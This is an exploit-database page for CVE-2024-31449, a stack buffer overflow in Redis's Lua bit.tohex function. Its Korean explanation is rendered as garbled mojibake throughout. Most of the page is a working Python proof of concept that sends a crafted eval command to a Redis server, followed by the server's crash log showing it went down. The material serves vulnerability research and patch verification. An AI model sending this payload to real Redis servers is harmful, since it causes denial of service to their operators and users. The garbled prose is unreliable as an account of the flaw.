Share
## https://sploitus.com/exploit?id=49E0E8C6-5282-55AE-99F5-2B06BA9385F0
# CVE-2024-31449
Redisλ μ€ν μμ€ μΈλ©λͺ¨λ¦¬ λΉκ΄κ³ν λ°μ΄ν°λ² μ΄μ€μ΄λ€.
## μμ½
- Redis Lua μμ§μ΄ ν¬ν¨λ λͺ¨λ λ²μ μ Redisμ μ‘΄μ¬νλ μ€ν λ²νΌ μ€λ²νλ‘μ° μ·¨μ½μ
- Lua μμ§ λ΄ bit.tohex ν¨μμ κ΄λ ¨ (bit λͺ¨λμ λΉνΈ μ°μ°μ μννλλ° μ¬μ©λ¨)
bit.tohex ν¨μλ λ΄λΆμμ μμκ° λ€μ΄μ€λ©΄ λ§μ΄λμ€λ₯Ό κ³±ν΄μ μμμ²λ¦¬ν¨. INT32_MIN κ°λ κ²μ¬μμ΄ μμ κ³±νκ³ μ§νν΄μ λ΄λΆμμ μμ² ν° κ°μΌλ‘ λ°λλ€μμ λ‘μ§μ΄ μ§νλμ΄μ μ€ν λ²νΌ μ€λ²νλ‘μ°κ° λ°μνκ² λλ€.
Redis μλ² λ°μ΄λ리λ κ±°μ λͺ¨λ 보νΈκΈ°λ²μ΄ κ±Έλ €μκΈ° λλ¬Έμ νλλ§μΌλ‘λ RCEκ° νλ€μ§λ§ μ€ν λ²νΌ μ€λ²νλ‘μ°λ‘ DoSκ° κ°λ₯νλ€.
## PoC
```python
from pwn import *
p = remote("localhost",6379)
payload = f'eval "return bit.tohex(65535, -2147483648)" 0'.encode()
p.sendline(payload)
p.close()
```
PoCμ€ν νμ λ컀 λ‘κ·Έλ₯Ό 보면
```bash
------ CLIENT LIST OUTPUT ------
id=3 addr=172.22.0.1:40028 laddr=172.22.0.2:6379 fd=8 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=46 qbuf-free=20428 argv-mem=41 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=37697 events=r cmd=eval user=default redir=-1 resp=2
------ CURRENT CLIENT INFO ------
id=3 addr=172.22.0.1:40028 laddr=172.22.0.2:6379 fd=8 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=46 qbuf-free=20428 argv-mem=41 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=37697 events=r cmd=eval user=default redir=-1 resp=2
argv[0]: '"eval"'
argv[1]: '"return bit.tohex(65535, -2147483648)"'
argv[2]: '"0"'
------ MODULES INFO OUTPUT ------
------ CONFIG DEBUG OUTPUT ------
replica-read-only yes
slave-read-only yes
io-threads 1
io-threads-do-reads no
activedefrag no
repl-diskless-load disabled
lazyfree-lazy-eviction no
client-query-buffer-limit 1gb
list-compress-depth 0
sanitize-dump-payload no
lazyfree-lazy-user-flush no
lazyfree-lazy-user-del no
lazyfree-lazy-server-del no
proto-max-bulk-len 512mb
lazyfree-lazy-expire no
repl-diskless-sync yes
------ FAST MEMORY TEST ------
1:M 27 Apr 2025 13:37:28.332 # Bio thread for job type #0 terminated
1:M 27 Apr 2025 13:37:28.332 # Bio thread for job type #1 terminated
1:M 27 Apr 2025 13:37:28.333 # Bio thread for job type #2 terminated
*** Preparing to test memory region 55cb0da64000 (2301952 bytes)
*** Preparing to test memory region 55cb3d462000 (270336 bytes)
*** Preparing to test memory region 7fd7f17fd000 (8388608 bytes)
*** Preparing to test memory region 7fd7f1ffe000 (8388608 bytes)
*** Preparing to test memory region 7fd7f27ff000 (8388608 bytes)
*** Preparing to test memory region 7fd7f3000000 (8388608 bytes)
*** Preparing to test memory region 7fd7f3800000 (8388608 bytes)
*** Preparing to test memory region 7fd7f40f6000 (24576 bytes)
*** Preparing to test memory region 7fd7f42bd000 (16384 bytes)
*** Preparing to test memory region 7fd7f42df000 (16384 bytes)
*** Preparing to test memory region 7fd7f45d3000 (16384 bytes)
*** Preparing to test memory region 7fd7f47b4000 (8192 bytes)
*** Preparing to test memory region 7fd7f47e4000 (4096 bytes)
.O.O.O.O.O.O.O.O.O.O.O.O.O
Fast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible.
------ DUMPING CODE AROUND EIP ------
Symbol: (null) (base: (nil))
Module: redis-server *:6379 (base 0x55cb0d794000)
$ xxd -r -p /tmp/dump.hex /tmp/dump.bin
$ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 /tmp/dump.bin
------
=== REDIS BUG REPORT END. Make sure to include from START to END. ===
Please report the crash by opening an issue on github:
http://github.com/redis/redis/issues
If a Redis module was involved, please open in the module's repo instead.
Suspect RAM error? Use redis-server --test-memory to verify it.
Some other issues could be detected by redis-server --check-system
1:C 27 Apr 2025 13:37:30.234 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 27 Apr 2025 13:37:30.234 # Redis version=7.0.4, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 27 Apr 2025 13:37:30.234 # Configuration loaded
1:M 27 Apr 2025 13:37:30.234 * monotonic clock: POSIX clock_gettime
1:M 27 Apr 2025 13:37:30.235 * Running mode=standalone, port=6379.
1:M 27 Apr 2025 13:37:30.235 # Server initialized
1:M 27 Apr 2025 13:37:30.235 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1:M 27 Apr 2025 13:37:30.236 * Loading RDB produced by version 7.0.4
1:M 27 Apr 2025 13:37:30.236 * RDB age 990 seconds
1:M 27 Apr 2025 13:37:30.236 * RDB memory usage when created 0.82 Mb
1:M 27 Apr 2025 13:37:30.236 * Done loading RDB, keys loaded: 0, keys expired: 0.
1:M 27 Apr 2025 13:37:30.236 * DB loaded from disk: 0.000 seconds
1:M 27 Apr 2025 13:37:30.236 * Ready to accept connections
# root @ daeseong in /mnt/p/WHS/docker/CVE-2024-31449 0 [22:37:37]
~
```
ν¬λμκ° λ°μνκ²μ λ³Ό μ μλ€.
## μ 리
μ΄ μ·¨μ½μ μ ν΅ν΄ μ μΌλ©΄ DoS, μ 보μ μΆ(info leak)κΉμ§ λλ°λλ€λ©΄ RCEκΉμ§ κ°λ₯νλ€.